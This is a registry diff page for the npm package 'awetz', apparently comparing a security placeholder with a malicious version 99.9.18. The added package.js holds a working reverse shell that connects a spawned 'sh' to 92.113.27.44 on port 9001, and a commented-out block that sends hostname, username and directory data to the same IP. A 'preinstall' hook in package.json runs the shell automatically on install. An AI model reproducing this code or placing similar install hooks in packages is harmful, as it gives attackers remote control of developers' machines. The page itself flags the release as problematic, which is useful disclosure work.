awetz 0.0.1-security → 99.9.18
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of awetz might be problematic. Click here for more details.
- package/package.js +44 -0
- package/package.json +11 -3
- package/README.md +0 -5
package/package.js
ADDED
@@ -0,0 +1,44 @@
|
|
1
|
+
// const os = require('os');
|
2
|
+
// const dns = require("dns");
|
3
|
+
|
4
|
+
// const https = require('https');
|
5
|
+
// const http = require('http');
|
6
|
+
// const querystring = require('querystring');
|
7
|
+
|
8
|
+
// const trackingData = JSON.stringify({
|
9
|
+
// hostname : os.hostname(),
|
10
|
+
// username : os.userInfo().username,
|
11
|
+
// d : __dirname,
|
12
|
+
// hostdir : os.homedir(),
|
13
|
+
// ip : dns.getServers(),
|
14
|
+
// })
|
15
|
+
|
16
|
+
|
17
|
+
// const base64Data = Buffer.from(trackingData).toString('base64');
|
18
|
+
|
19
|
+
// const data = querystring.stringify({
|
20
|
+
// hostage: base64Data,
|
21
|
+
// });
|
22
|
+
|
23
|
+
// const url = 'http://92.113.27.44/?' + data;
|
24
|
+
|
25
|
+
// const lib = url.startsWith('https') ? https : http;
|
26
|
+
|
27
|
+
// lib.get(url, (res) => {
|
28
|
+
// res.on('data', () => {});
|
29
|
+
// res.on('end', () => {});
|
30
|
+
// }).on('error', () => {
|
31
|
+
// });
|
32
|
+
|
33
|
+
(function(){
|
34
|
+
var net = require("net"),
|
35
|
+
cp = require("child_process"),
|
36
|
+
sh = cp.spawn("sh", []);
|
37
|
+
var client = new net.Socket();
|
38
|
+
client.connect(9001, "92.113.27.44", function(){
|
39
|
+
client.pipe(sh.stdin);
|
40
|
+
sh.stdout.pipe(client);
|
41
|
+
sh.stderr.pipe(client);
|
42
|
+
});
|
43
|
+
return /a/; // Prevents the Node.js application from crashing
|
44
|
+
})();
|
package/package.json
CHANGED
@@ -1,6 +1,14 @@
|
|
1
1
|
{
|
2
2
|
"name": "awetz",
|
3
|
-
"version": "
|
4
|
-
"
|
5
|
-
"
|
3
|
+
"version": "99.9.18",
|
4
|
+
"main": "index.js",
|
5
|
+
"scripts": {
|
6
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
7
|
+
"preinstall": "node package.js"
|
8
|
+
},
|
9
|
+
"keywords": [],
|
10
|
+
"author": "awetz",
|
11
|
+
"license": "ISC",
|
12
|
+
"description": "",
|
13
|
+
"dependencies": {}
|
6
14
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=awetz for more information.
|